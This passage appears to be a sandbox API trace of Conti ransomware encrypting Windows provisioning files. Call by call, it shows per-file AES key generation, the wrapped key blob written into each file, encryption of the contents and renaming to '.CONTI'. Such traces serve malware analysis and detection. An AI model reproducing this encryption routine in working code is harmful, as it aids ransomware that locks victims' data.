	[0113.616] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65c19b0 | out: phKey=0x65c19b0*=0x17c8330) returned 1
	[0113.616] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c19b4, pdwDataLen=0x45bfa3c | out: pbData=0x65c19b4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0113.617] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.617] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0113.617] GetLastError () returned 0x0
	[0113.617] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=705) returned 1
	[0113.617] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c1
	[0113.617] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.617] SetEndOfFile (hFile=0x404) returned 1
	[0113.617] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.617] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.618] WriteFile (in: hFile=0x404, lpBuffer=0x65c19b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65c19b4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.621] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.621] ReadFile (in: hFile=0x404, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2c1, lpOverlapped=0x0) returned 1
	[0113.621] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2c1, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0113.621] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.621] WriteFile (in: hFile=0x404, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.621] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.621] WriteFile (in: hFile=0x404, lpBuffer=0x65c19a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65c19a8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0113.621] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.621] CloseHandle (hObject=0x404) returned 1
	[0113.621] GetProcessHeap () returned 0x1720000
	[0113.621] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.621] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml"
	[0113.621] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.621] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.622] GetProcessHeap () returned 0x1720000
	[0113.622] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.622] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.622] GetProcessHeap () returned 0x1720000
	[0113.622] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd7f8 | out: hHeap=0x1720000) returned 1
	[0113.622] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0113.622] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65c2760 | out: phKey=0x65c2760*=0x17c8330) returned 1
	[0113.622] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c2764, pdwDataLen=0x45bfa3c | out: pbData=0x65c2764*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0113.623] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.624] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0113.624] GetLastError () returned 0x0
	[0113.624] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=706) returned 1
	[0113.624] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2
	[0113.624] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.624] SetEndOfFile (hFile=0x404) returned 1
	[0113.624] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.624] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.624] WriteFile (in: hFile=0x404, lpBuffer=0x65c2764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65c2764*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.630] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.630] ReadFile (in: hFile=0x404, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2c2, lpOverlapped=0x0) returned 1
	[0113.630] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2c2, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0113.630] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.630] WriteFile (in: hFile=0x404, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.630] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.630] WriteFile (in: hFile=0x404, lpBuffer=0x65c2758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65c2758*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0113.630] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.630] CloseHandle (hObject=0x404) returned 1
	[0113.630] GetProcessHeap () returned 0x1720000
	[0113.630] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.630] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml"
	[0113.630] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.630] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\632__connections_cellular_virgin (canada)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.631] GetProcessHeap () returned 0x1720000
	[0113.631] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.631] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.631] GetProcessHeap () returned 0x1720000
	[0113.631] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd940 | out: hHeap=0x1720000) returned 1
	[0113.631] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0113.631] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65c29a8 | out: phKey=0x65c29a8*=0x17c84f0) returned 1
	[0113.631] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c29ac, pdwDataLen=0x45bfa3c | out: pbData=0x65c29ac*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0113.632] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.633] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0113.633] GetLastError () returned 0x0
	[0113.633] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=713) returned 1
	[0113.633] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0113.633] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.633] SetEndOfFile (hFile=0x404) returned 1
	[0113.633] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.633] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.633] WriteFile (in: hFile=0x404, lpBuffer=0x65c29ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65c29ac*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.640] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.640] ReadFile (in: hFile=0x404, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2c9, lpOverlapped=0x0) returned 1
	[0113.640] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2c9, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0113.640] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.640] WriteFile (in: hFile=0x404, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.640] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.640] WriteFile (in: hFile=0x404, lpBuffer=0x65c29a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65c29a0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0113.640] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.640] CloseHandle (hObject=0x404) returned 1
	[0113.641] GetProcessHeap () returned 0x1720000
	[0113.641] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.641] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml"
	[0113.641] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.641] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.641] GetProcessHeap () returned 0x1720000
	[0113.641] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.641] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0113.641] GetProcessHeap () returned 0x1720000
	[0113.641] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cdbd0 | out: hHeap=0x1720000) returned 1
	[0113.641] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0113.641] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65c12d8 | out: phKey=0x65c12d8*=0x17c8370) returned 1
	[0113.642] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c12dc, pdwDataLen=0x45bfa3c | out: pbData=0x65c12dc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0113.642] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.643] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0113.643] GetLastError () returned 0x0
	[0113.643] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=459) returned 1
	[0113.643] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0113.643] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.643] SetEndOfFile (hFile=0x404) returned 1
	[0113.656] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.656] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.656] WriteFile (in: hFile=0x404, lpBuffer=0x65c12dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65c12dc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.659] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.659] ReadFile (in: hFile=0x404, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1cb, lpOverlapped=0x0) returned 1
	[0113.659] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1cb, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1d0) returned 1
	[0113.659] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.659] WriteFile (in: hFile=0x404, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.659] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.659] WriteFile (in: hFile=0x404, lpBuffer=0x65c12d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65c12d0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0113.659] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.659] CloseHandle (hObject=0x404) returned 1
	[0113.660] GetProcessHeap () returned 0x1720000
	[0113.660] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
